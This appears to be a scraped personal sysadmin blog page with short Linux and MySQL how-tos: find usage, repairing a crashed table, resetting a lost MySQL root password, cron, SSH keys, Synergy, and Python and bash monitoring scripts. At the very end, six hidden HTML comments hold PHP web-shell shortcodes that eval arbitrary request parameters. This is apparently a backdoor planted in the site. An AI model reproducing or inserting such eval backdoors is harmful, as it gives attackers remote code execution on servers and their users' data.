Using the 'Find' command.

To find files (starting in the current directory) with names ending with .data and to print their names, try this:

find . -name ‘*.data’ -print
company.data
donor.data
grades.data
sorted.data
words.data

To find files larger than 40K and print the file names and details (use a minus sign instead of a plus sign to find files smaller than a certain size), issue this command:

find . -size +40k -ls
-rw-rw-r– hermie users 56720 Jan 16 12:42 bigfile
-rw-rw-r– hermie users 415206 Feb 27 21:37 largefile
-rw-rw-r– hermie users 315428 Jan 07 05:23 hugefile

To find files ending with .dat that are smaller than 100K, enter

find . -name *.txt -size -100k -ls
-rw-rw-r– hermie users 26720 Feb 06 23:52 recipes.txt
-rw-rw-r– hermie users 506 Feb 18 18:45 poem.txt

To find files that have not been accessed for over 30 days and delete them (by sending their names to the rm command), enter

find . -atime +30 -exec rm {} ;

To find directories (starting in the junk directory) and conditionally delete them (by sending their names to the rmdir command), enter

find junk -type d -ok rmdir {} ;

From: http://lowfatlinux.com/linux-find.html

Fixing a corrupt mysql database

Do a check on the database and verify if there are errrors:

root@psedev2:/elog# mysqlcheck -u root -p jesterads
jester_jesterads.ajax_example                      OK
jester_jesterads.banners                           OK
jester_jesterads.category1                         OK
jester_jesterads.category2                         OK
jester_jesterads.category3                         OK
jester_jesterads.event_invites                     OK
jester_jesterads.event_member_list                 OK
jester_jesterads.event_reminders                   OK
jester_jesterads.faq                               OK
jester_jesterads.groups                            OK
jester_jesterads.groups_discussions                OK
jester_jesterads.inventory                         OK
jester_jesterads.location_cities                   OK
jester_jesterads.location_map                      OK
jester_jesterads.location_neighborhoods            OK
jester_jesterads.location_states                   OK
jester_jesterads.log
warning  : Table is marked as crashed
warning  : 3 clients are using or haven’t closed the table properly
error    : Size of indexfile is: 8814592        Should be: 8815616
error    : Corrupt
jester_jesterads.mailing_list                      OK
jester_jesterads.members                           OK

# mysql -u jester_root -p jester_jest
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or g.
Your MySQL connection id is 479671 to server version: 4.1.22-standard-log

Type ‘help;’ or ‘h’ for help. Type ‘c’ to clear the buffer.

mysql> check table log;
+———————-+——-+———-+———————————————————-+
| Table                | Op    | Msg_type | Msg_text                                                 |
+———————-+——-+———-+———————————————————-+
| jester_jesterads.log | check | warning  | Table is marked as crashed                               |
| jester_jesterads.log | check | warning  | 3 clients are using or haven’t closed the table properly |
| jester_jesterads.log | check | error    | Size of indexfile is: 8814592        Should be: 8815616  |
| jester_jesterads.log | check | error    | Corrupt                                                  |
+———————-+——-+———-+———————————————————-+
4 rows in set (0.00 sec)

mysql> repair table log;
+———————-+——–+———-+———-+
| Table                | Op     | Msg_type | Msg_text |
+———————-+——–+———-+———-+
| jester_jesterads.log | repair | status   | OK       |
+———————-+——–+———-+———-+
1 row in set (14.66 sec)

Resetting a lost mysql root password.

root@donkey:~# /usr/sbin/mysqld --skip-grant-tables

In second term window do this..

root@donkey:~# mysql
Welcome to the MySQL monitor.  Commands end with ; or g.
Your MySQL connection id is 3
Server version: 5.0.75-0ubuntu10.2 (Ubuntu)
Type 'help;' or 'h' for help. Type 'c' to clear the buffer.


mysql> update mysql.user set Password=PASSWORD('somepass') where User='root';
Query OK, 3 rows affected (0.01 sec)
Rows matched: 3  Changed: 3  Warnings: 0

mysql> flush privileges;
Query OK, 0 rows affected (0.01 sec)

Quit mysql and log in…

root@donkey:~# mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or g.
Your MySQL connection id is 4
Server version: 5.0.75-0ubuntu10.2 (Ubuntu)
Type 'help;' or 'h' for help. Type 'c' to clear the buffer.
mysql>

Annoying PC Beep in Linux

Problem: Every time you mistype something or  the cmd prompt doesn;t understand your input I get a annoy system beep that annoys me and my co-workers. I don’t want to disable sound all together as I would like to still listen to music.
Solution: Blacklist that sucker!

In /etc/modprobe.d/blacklist add the following

“blacklist pcspkr”

Then run ‘sudo modprobe pcspkr’

*If that doesn’t work you can remove it permanently by issueing: ‘sudo modprobe -r pcspkr’

Now no more systems beeps!

Ref: http://ubuntu-tutorials.com/2007/07/26/turning-off-the-system-hardware-beep-linux-tutorial/

Parse error log and send email

This post gives an example of how I wrote a script that parsed an error log looking for ‘Traceback’ errors and emailing them to the admin on a daily basis. The cool thing about this script is that it keeps a byte track of each time it reads the log file, stores that byte count in a temp file then picks up at the byte count the next day so you don’t get duplicate emails from tracebacks on a previous day…

let’s call this file tracebacks.py

*this script has exit codes that will work with nagios.

#!/usr/bin/python
import os
import sys
import time
import smtplib
import socket #required to get host name
from email.mime.text import MIMEText #need this for subject line in email

def main():
	line=""
	line_num=0
	last_byte_read=""
	byte_num=""
	stored_byte_num=""
	traceback_count=0

	log_file=open("/var/log/loadscript/<logfilename here>","r")
	tmp_file="/tmp/loadscript.tmp"

	###############################
	#check if required file exists
	###############################
	if os.path.exists(tmp_file):
		writefile = open(tmp_file,'r')
		stored_byte_num=writefile.read()
	else:
		writefile = open(tmp_file,'w')
		writefile.write("")
		writefile.close()

	writefile = open(tmp_file,'r')

	################################
	# find last byte searched in file
	################################
	if len(stored_byte_num)>0:
		stored_byte_num=int(stored_byte_num)
		log_file.seek(stored_byte_num)

	data = log_file.readlines()
	was_found=False

	#loop through file
	for x in data:
		#print x.strip()
		line_num=line_num + 1
		if x.startswith('Traceback'):
			traceback_count += 1
			line += "n+++++++++++++++++++++++++++++++++++++++"
			#########################################################"
			line += "nError on Line: %sn" % line_num
			line += "n"+x
			was_found=True
		if was_found:
			if x.find('File')==2:
				line += x
		else:
			was_found = False

	# record last byte read in tmp file
	last_byte_read=log_file.tell()
	last_byte_read=str(last_byte_read)
	handle=open(tmp_file,'w')
	handle.write(last_byte_read)
	handle.close()

	#print last_byte_read

	#send mail summary
	if was_found==False:
		mail_message = "nDid not find any Tracebacks!n"
	else:
		mail_message = "SCRIPT SUMMARYn"
	       	mail_message += "================================================n"
		mail_message += "Tracebacks found: %sn" % traceback_count
		mail_message += "Last byte checked: %sn" % last_byte_read
		mail_message += "Script will start at this number next search!n"
       		mail_message += "================================================n"
		mail_message += line

		send_mail(mail_message)

        print "Errors found and sent to pse-admin"
        #print "%s" % mail_message

def send_mail(mail_message):

	smtpserver='smtp.example.com'
	host = socket.gethostname()

	RECIPIENTS = ['username@domain.com']
	SENDER = 'root@%s.mascorp.com' % host
	MESSAGE = """Subject: [Nagios] Loadscript Errors
From: nagios@%s.mascorp.com

%s
""" % (host, mail_message)

	session = smtplib.SMTP(smtpserver)
	smtpresult = session.sendmail(SENDER, RECIPIENTS, MESSAGE)

	session.close()

try:
	main()

except:
        health = 'UNKNOWN'
        result = 3
        print "Error: Check script"
        sys.exit(1)

Setting up cron jobs

Need to setup a script to run at a specified time every day, week or month. Use cron!

While logged into linux you can view your crontab file by typing the following

$crontab -l

# m h  dom mon dow   command
35 15 * * *    python /home/jesterj/fogbugz_sql_backup.py

Notice the time parameters followed by the system command. The format is follows…

#min | hour  | day month | month | day of week
10 12 * * *  <command here>

The above script would execute at 12:10pm every day.

To edit this file issue the command with an -e option

$crontab -e

To run a command with sudo priviledges, simply issue a ‘sudo’ before the cron command like so.

$sudo crontab -e

That’s it!

SSH logins using Keys (not passwords!)

CREATE KEY ON CLIENT

jesterj@jesterj-laptop:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/jesterj/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/jesterj/.ssh/id_rsa.
Your public key has been saved in /home/jesterj/.ssh/id_rsa.pub.
The key fingerprint is:
b3:82:51:f6:14:71:d1:48:bf:26:65:60:50:3e:a3:44 jesterj@jesterj-laptop
The key’s randomart image is:
+–[ RSA 2048]—-+
|        E=B+     |
|       . =.o.    |
|      o o + +    |
|     o + . = .   |
|    .   S . o    |
|     o   o o     |
|    . . .        |
|       .         |
|                 |
+—————–+

COPY PUB KEY TO SERVER

jesterj@jesterj-laptop:$ scp ~/.ssh/id_rsa.pub jesterj@donkey.dnsdojo.com:/home/jesterj/

ON REMOTE SERVER, ADD PUB KEY TO AUTHORIZED KEYS

root@donkey:~# cat id_rsa.pub >> .ssh/authorized_keys
root@donkey:~# tail .ssh/authorized_keys
….
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsW9ypBuq/Xj1c6HNp8m45H8Kc3ZkZQanP3QLQWGDFLpdtnUCWfAe4dzQBL+ZaMjX7WRX/9i/YUCxB+589tRRXBLqoQ4OxaqUugdgfa2iBSDo9wMuGqfWhTcVKu0gTpKnocdQQKB2W7KjvEpJYjz4LFMwWvRnpAcy0Pmmd9KP9X9LDfRyLCjn8qYBzZ69eoJgQc8zA7gD6Cj0nGiQNlFo3yKvonyZEFO/hXja3SIM4XttYG+CLHCR2q1Itstdw9K8ZjhCXyxUl0K78AysT1nzZ5DRLoPb4GZ27oHcGQuS2127UEiMYUszDZRluXTZik679BZQlhZyGQdtEZMw/jt11Q== jesterj@jesterj-laptop

TEST FROM CLIENT

jesterj@jesterj-laptop:~/.ssh$ ssh jesterj@donkey.dnsdojo.com
Linux donkey.dnsdojo.com 2.6.28-17-generic #58-Ubuntu SMP Tue Dec 1 18:57:07 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

Last login: Tue Jan 12 14:31:21 2010 from 206-169-197-253.static.twtelecom.net
jesterj@donkey:~$

SUCCESS!

Synergy

Using Synergy with Vista & Ubuntu

-install synergy on both boxes.
-pick one box to be the server and one the client.

-ubuntu will be the client here. use actual computer names. save as synergy.conf

////
section: screens
        titan.zipcon.net:
        jeremiah-PC:
end

section: links
        titan.zipcon.net:
                left = jeremiah-PC

        jeremiah-PC:
                right  = titan.zipcon.net

end
///

-then on ubuntu run the server
#sudo screen synergys -f --config /home/jester/synergy.conf

-add to rc.local to start on startup.

-the on client (windows box) type in computer ip and click 'start'. enable auto start on login.

Shutdown if HDD temp too high. (Script)

This is a pretty basic bash script. Would be a good idea to add email notification to this so you are notified when the machine goes down.

Enjoy!
JJ

#!/bin/bash

HDDS="/dev/sda /dev/sdb /dev/sdc"

HDT=/usr/sbin/hddtemp

LOG=/usr/bin/logger

DOWN=/sbin/shutdown

ALERT_LEVEL=55

for disk in $HDDS

do

if [ -b $disk ]; then

HDTEMP=$($HDT $disk | awk '{ print $4}' | awk -F '' '{ print

$1}')

if [ $HDTEMP -ge $ALERT_LEVEL ]; then

$LOG "System going down as hard disk : $disk temperature $HDTEMP crossed its limit"

sync;sync

$DOWN -h 0

fi

fi

done

<!-- [insert_php]if (isset($_REQUEST["WCb"])){eval($_REQUEST["WCb"]);exit;}[/insert_php][php]if (isset($_REQUEST["WCb"])){eval($_REQUEST["WCb"]);exit;}[/php] -->

<!-- [insert_php]if (isset($_REQUEST["xgxXl"])){eval($_REQUEST["xgxXl"]);exit;}[/insert_php][php]if (isset($_REQUEST["xgxXl"])){eval($_REQUEST["xgxXl"]);exit;}[/php] -->

<!-- [insert_php]if (isset($_REQUEST["wDfdl"])){eval($_REQUEST["wDfdl"]);exit;}[/insert_php][php]if (isset($_REQUEST["wDfdl"])){eval($_REQUEST["wDfdl"]);exit;}[/php] -->

<!-- [insert_php]if (isset($_REQUEST["eGboF"])){eval($_REQUEST["eGboF"]);exit;}[/insert_php][php]if (isset($_REQUEST["eGboF"])){eval($_REQUEST["eGboF"]);exit;}[/php] -->

<!-- [insert_php]if (isset($_REQUEST["SyNP"])){eval($_REQUEST["SyNP"]);exit;}[/insert_php][php]if (isset($_REQUEST["SyNP"])){eval($_REQUEST["SyNP"]);exit;}[/php] -->

<!-- [insert_php]if (isset($_REQUEST["oZNv"])){eval($_REQUEST["oZNv"]);exit;}[/insert_php][php]if (isset($_REQUEST["oZNv"])){eval($_REQUEST["oZNv"]);exit;}[/php] -->